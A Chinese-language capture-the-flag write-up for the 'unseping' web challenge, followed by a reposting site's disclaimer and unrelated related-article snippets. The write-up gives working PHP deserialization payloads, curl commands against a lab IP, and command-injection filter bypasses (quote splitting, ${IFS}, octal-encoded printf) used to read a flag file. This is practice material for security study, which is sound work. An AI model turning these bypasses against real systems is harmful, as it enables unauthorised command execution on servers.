攻防世界-web-unseping

1. 题目描述

打开链接,如下代码

代码都贴出来了,那么只需要分析代码即可,看是否存在漏洞以及如何利用

2. 思路分析

代码很简单,外部只需要接收cft这个参数,然后将这个参数反序列化后赋值给对量的method和args参数,啊UI周内部存在执行命令的函数ping调用exec去执行外部传入的args参数,所以这里明显存在命令注入,关键是__wakeup函数中存在一个waf,waf中对传入的参数有个黑名单限制,但是,对于命令注入这种攻击手法来说,黑名单限制容易绕过,因此我们思路就很清晰了

2.1 存在命令注入,利用命令注入执行命令

2.2 尝试绕过waf的限制

3. 解题过程

3.1 我们先简单执行下pwd这个命令,证明确实存在命令注入

$str = serialize(new ease("ping", array("pwd")));
print(base64_encode($str));

我们传入的args是一个数组,这里可以搜下call_user_func_array这个函数的用法

curl -XPOST http://61.147.171.105:50248/ --data "ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czozOiJwd2QiO319"

然后通过curl命令访问,得到结果如下

说明pwd命令执行成功

3.2 执行ls命令,尝试绕过黑名单的限制

这里使用单双引号绕过

$str = serialize(new ease("ping", array('l""s')));
print(base64_encode($str));

同样执行命令

curl -XPOST http://61.147.171.105:50248/ --data "ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsIiJzIjt9fQ=="

得到结果为:

刚好找到一个flag_1s_here,经过验证,这是一个目录,这个时候同样执行ls命令,这里flag同样使用单双引号绕过即可,但是空格可以使用${IFS}替换

$str = serialize(new ease("ping", array('l""s${IFS}fla""g_1s_here')));
print(base64_encode($str));

同样,执行命令

curl -XPOST http://61.147.171.105:50248/ --data "ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCIicyR7SUZTfWZsYSIiZ18xc19oZXJlIjt9fQ=="

可以看到包含有flag的文件了

那么接下来就是执行cat flag_1s_here/flag_831b69012c67b35f.php命令获取该文件的内容,这里关键在于/该如何绕过,这里参考网上做法,通过八进制编码绕过(比如a可以表示成\141)

这里通过python简单转了下

然后再转成shell执行命令的形式

$str = serialize(new ease("ping", array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")')));
print(base64_encode($str));

最终执行命令

curl -XPOST http://61.147.171.105:50248/ --data "ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxNjk6IiQocHJpbnRmJHtJRlN9IlwxNDNcMTQxXDE2NFw0MFwxNDZcMTU0XDE0MVwxNDdcMTM3XDYxXDE2M1wxMzdcMTUwXDE0NVwxNjJcMTQ1XDU3XDE0NlwxNTRcMTQxXDE0N1wxMzdcNzBcNjNcNjFcMTQyXDY2XDcxXDYwXDYxXDYyXDE0M1w2Nlw2N1wxNDJcNjNcNjVcMTQ2XDU2XDE2MFwxNTBcMTYwIikiO319"

得到结果为cyberpeace{443e57942c8c0bf6e2e0193b56f359a4}

4. 总结

4.1 这里没有通过burpsuite而是通过执行命令的方式来获取结果,因为我这边使用burpsuite没法正常显示,不清楚原因,有清楚的欢迎评论

4.2 这里关键在于命令注入各种各样的绕过方式,获益良多

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/178698.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux C 进程间通信

进程间通信 概述进程间通信方式管道概述管道函数无名管道 pipe有名管道 makefifo删除有名管道 rmove 有名管道实现 双人无序聊天 例子 信号信号概述信号处理过程信号函数传送信号给指定的进程 kill注册信号 signal查询或设置信号处理方式 sigaction设置信号传送闹钟 alarm 有名…

Python爬取股票交易数据代码示例及可视化展示。

文章目录 前言一、开发环境二、第三方模块三、爬虫案例步骤四、爬虫程序全部代码1.分析网页2.导入模块3.请求数据4.解析数据5.翻页6.保存数据 五、实现效果六、数据可视化全部代码1.导入数据2.读取数据3.可视化图表4.效果展示关于Python技术储备一、Python所有方向的学习路线二…

Jenkins的一些其他操作

Jenkins的一些其他操作 1、代码仓库Gogs的搭建与配置 Gogs 是一款极易搭建的自助 Git 服务,它的目标在于打造一个最简单、快速和轻松的方式搭建 Git 服务。使用 Go 语言开发的它能够通过独立的二进制进行分发,支持了 Go 语言支持的所有平台&#xff0…

企业计算机中了eking勒索病毒如何解毒,eking勒索病毒文件恢复

网络技术的不断发展,为企业的生产生活提供了极大便利,但随之而来的网络安全威胁也不断增加,近期,很多企业的计算机服务器遭到了eking勒索病毒攻击,导致企业的计算机服务器所有数据被加密,无法正常使用&…

2024年度“阳江市惠民保”正式发布!阳江市专属补充医疗保险全新升级

11月14日,2024年度“阳江市惠民保”暨百场义诊活动发布会在阳江市华邑酒店顺利举行。2024年度“阳江市惠民保”一年保费最低只要59元,最高可获得400万元的医疗保障。 阳江市人民政府、阳江市医疗保障局、阳江市农业农村局、阳江市金融工作局、国家金融监…

使用flutter的Scaffold脚手架开发一个最简单的带tabbar的app模板

flutter自带的scaffold脚手架可以说还是挺好用的,集成了appBar,还有左侧抽屉,还有底部tabbar,可以说拿来就可以用了啊,所以我今天也体验了一下,做了一个最简单的demo,就当是学习记录了。 效果展…

干货分享---- 金融贷款电销获客的方法、渠道

电话营销的现状是,它过去使用电话资源在常规交易平台上正常工作,但进入时,对方总是挂断电话,甚至被他人标记为骚扰,这使工作变得困难。事实上,电话营销交易量飙升的关键很简单,那就是营销技巧和…

SpringCloud集成Eureka并实现负载均衡

文章目录 前言1.Eureka2.整合Eureka作为注册中心2.1创建maven工程2.2依赖配置(Eureka-Server)2.3业务配置(Eureka-Client)2.4服务调用流程 3.集成负载均衡 前言 辗转两家公司也算工作了大半年,有幸见识过很多微服务架构,比如DubboRedis的组合&#xff1…

香港优才计划需要什么条件?2023申请条件/流程/政策放宽!

香港优才计划需要什么条件?2023申请条件/流程/政策放宽! 香港优才计划全称:“香港优秀人才入境计划”,是香港特区政府为了吸引优秀人才来港定居,借以提升香港的国际竞争力,于2006年6月正式推行的。 2022年1…

2年博士后|心外医生赴美国耶鲁大学开展研究

G医生决定放弃申报CSC,改为自费出国,并在美国密歇根大学安娜堡分校和耶鲁大学两所名校中选择了更为出名的后者。因为不是CSC出资,G医生得以通过签证,顺利出国,实现了在世界知名高校从事2年博士后的个人职业规划目标。 …

lc121. 买卖股票的最佳时机

一次遍历,一边遍历一边修改买入的价格,一边比较取得最大利润 public class BuyAndSellStocks {public static void main(String[] args) {int[] arr {7,1,5,3,6,4};int[] arr1 {7,6,4,3,1};System.out.println(buyAndSellStocks(arr));System.out.pri…

IDEA从Gitee拉取代码,推送代码教程

打开IDEA,选择Get from Version Control 输入Gitee 仓库项目的URL地址 URL地址输入后点击Clone,即拉取成功 向Gitee提交推送代码 右键选中项目,选中Git 第一步先点击 Add 第二步 点击Commit填写提交信息,点击Commit就会出现下面…